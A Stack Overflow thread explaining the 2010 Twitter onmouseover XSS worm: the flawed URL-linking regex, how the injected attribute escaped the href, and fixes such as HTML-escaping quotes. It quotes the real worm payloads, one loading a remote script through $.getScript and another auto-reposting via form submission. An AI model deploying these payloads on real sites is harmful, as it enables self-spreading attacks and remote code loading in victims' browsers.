views:

1144

answers:

5

Can you explain what exactly happened on Twitter today? Basically the exploit was causing people to post a tweet containing this link:

http://t.co/@"style="font-size:999999999999px;"onmouseover="$.getScript('http:\u002f\u002fis.gd\u002ffl9A7')"/

Is this technically an XSS attack or something else?

Here is how the Twitter home page looked like: http://ibz.posterous.com/xss-attack-on-twitter

+1  A: 

From Wikipedia: "Cross-site scripting (XSS) is a type of computer security vulnerability typically found in web applications that enables malicious attackers to inject client-side script into web pages viewed by other users."

Today's attack fits the bill to me.

Basically there was some sort of parsing error with Twitter.com display code. When they converted URLs to HTML hyperlinks, they weren't handling @ characters correctly and this was causing javascript events to be inserted into the HTML link.

Wade Tandy
+13  A: 

Yes this is XSS, it is attacking a javascript event handler. What is cool about this XSS is that it doesn't require <> to exploit. The injected string is: size:999999999999px;"onmouseover="$.getScript('http:\u002f\u002fis.gd\u002ffl9A7')".

The size::999999999999px makes it very large and there for more likly that someone will mouse over it. The real problem is the onmouseover= event handler.

To prevent this in PHP you need to convert quote marks into their html entities: $var=htmlspecialchars($var,ENT_QUOTES);

This is because HTML you cannot escape quotes like sql: \'

Rook
Rook, what would have blocked the attack? Escaping out the quotes?
Steven Sudit
@Steven Sudit HTML doesn't respect "escaped" quote marks like sql: `\'`, so you can't use `addslashes()`. Instead you have to convert the quotes into their html entities. I have updated my response.
Rook
@Rook: I believe you have a typo - "ENT_QUOTS" should be "ENT_QUOTES"
stjowa
@stjowa and thats why stack overflow is wiki style.
Rook
It is, but stjowa doesn't have the rep needed to edit your typo.
Steven Sudit
@Rook: Does PHP's version of HtmlEncode convert single-quotes to entities?
Steven Sudit
@Steven Sudit I am not familiar with that function. I would use htmlspecialchars with ENT_QUOTES. Or you could just test it, try passing it `'"` and see if it converts.
Rook
Technically `ENT_QUOTES` aren't needed for this particular example because `"` is escaped by `htmlspecialchars()` by default. It is only the single-quote character `'` that isn't escaped without `ENT_QUOTES`. Single quotes are used for attribute delimiters much less often than double, but it's still a good idea to always use `ENT_QUOTES` for safety.
bobince
I was reading about this attack earlier and the Norwegian guy who did it claimed it. Can he not get arrested?
John Isaacks
@John Isaacks yeah probably, he is breaking the law. Twitter could also sue him.
Rook
@bobince good point he does use single quotes in the exploit but he could have gotten away with only using double-quotes.
Rook
It turn out that, as Wade suggested, the parser choked on @ followed by a quote. The result was that lack of escaping.
Steven Sudit
+1  A: 

It's an XSS exploit. As Twitter admitted in their update. You can prevent attacks like that by never allowing users to post javascript code. You should always filter it out. More information about avoiding XSS can be found here: http://www.owasp.org/index.php/Cross-site_Scripting_(XSS)

Adam
Reading others' comments, I'm a bit confused by your answer. How would you filter out javascript code as you say? (newbie question)
Zabba
@Zabba it depends on what framework you're using. Django for example has autoescaping tools built in as do many other frameworks. Basically the idea is never let a use enter text and then render it back onto the page without filtering out script tags, possibly all or most html tags and if you allow html tags take out javascript event handlers in them
Adam
+24  A: 

The vulnerability is because URLs were not being parsed properly. For example, the following URL is posted to Twitter:

http://thisisatest.com/@"onmouseover="alert('test xss')"/

Twitter treats this as the URL. When it is parsed Twitter wraps a link around that code, so the HTML now looks like:

<a href="http://thisisatest.com/@"onmouseover="alert('test xss')"rel/" target="_blank" ="">http://thisisatest.com/@"onmouseover="alert('test xss')"/</a></span> 

You can see that by putting in the URL and the trailing slash, Twitter thinks it has a valid URL even though it contains a quote mark in it which allows it to escape (ie. terminate the href attribute, for the pedants out there) the URL attribute and include a mouse over. You can write anything to the page, including closing the link and including a script element. Also, you are not limited by the 140 character limit because you can use $.getScript().

This commit, if it were pulled, would have prevented this XSS vulnerability.

In detail, the offending regex was:

REGEXEN[:valid_url_path_chars] = /(?:
  #{REGEXEN[:wikipedia_disambiguation]}|
  @[^\/]+\/|
  [\.\,]?#{REGEXEN[:valid_general_url_path_chars]}
)/ix

The @[^\/]+\/ part allowed any character (except a forward slash) when it was prefixed by an @ sign and suffixed by a forward slash.

By changing to @#{REGEXEN[:valid_general_url_path_chars]}+\/ it now only allows valid URL characters.

Michael Foukarakis
Who said anything about backslashes? HTML-encoding out-of-band characters is generally considered a type of escaping too.
bobince
@Michael Foukarakis thanks for fixing the wording.
Rook
@bobince I disagree. In my mind this is very different from re-encoding and wikipedia backs my argument http://en.wikipedia.org/wiki/Escape_character
Rook
bobince
Rook
@Rook, I am not arguing with what you are saying, I know you are very knowledgeable about internet security (far far more than myself). However, (even tho its usually always accurate) anyone can write anything on Wikipedia.
John Isaacks
Cool, and surprising that it went unnoticed until now
eds
Very good explanation! So the solution would be to consider the URL as ending when you get to the quotes, right? The eternal discussion on how to detect URLs in a text. http://www.codinghorror.com/blog/2008/10/the-problem-with-urls.html
ionut bizau
This is an accurate analysis of the code in question.
bcherry
+4  A: 

The exploit was a classic piece of Javascript injection. Suppose you write a tweet with the following text:

"http://www.guardian.co.uk/technology is the best!"

When you view the Twitter web page, that becomes a link, like so:

<a href="http://www.guardian.co.uk/technology" class="tweet-url web" 
 rel="nofollow">http://www.guardian.co.uk/technology&lt;/a&gt; is the best!

The exploit attacked that link-making function. The raw text of the exploit tweet would read something like this:

http://a.no/@";onmouseover=";$('textarea:first').val(this.innerHTML);
   $('.status-update-form').submit();"class="modal-overlay"/

Which Twitter didn't protect properly, probably because the @" character combination broke their [HTML] parser. That link would generate the following page source:

<a href="http://a.no/@";onmouseover=";$('textarea:first').val(this.innerHTML);
 $('.status-update-form').submit();"class="modal-overlay"/ class="tweet-url web"
      rel="nofollow">

This means that executable content (the onMouseOver="stuff" bit) has ended up in the page source code. Not knowing any better, the browser runs this code. Because it's running in the user's browser, it can do anything the user does; most variations used this power to re-post the content, which is why it spread like a virus. To encourage the user to activate the code by mousing over, they also formatted the block as black-on-black using CSS [Cascading Style Sheets, which determines the page layout]. Other versions were hacked around by users to have all sorts of other effects, such as porn site redirects, rainbow text in their tweets, and so forth. Some of them popped up dialog boxes designed to alarm the users, talking about accounts being disabled or passwords stolen (they weren't, in either case).

Twitter fixed this not by blocking the string onMouseOver (which some dim-witted blogs were calling for) but by properly sanitising the input. The " marks in these tweets are now turned into " – the HTML-escaped form.

Technically this is a second-order injection attack; the attack string is inserted into the database and handled correctly, but then the attack takes place as the string is read back out instead. It's not that complex an attack at all either - rather embarrassing for Twitter that they were caught out by this.

Source: The Twitter hack: how it started and how it worked

Pandiya Chendur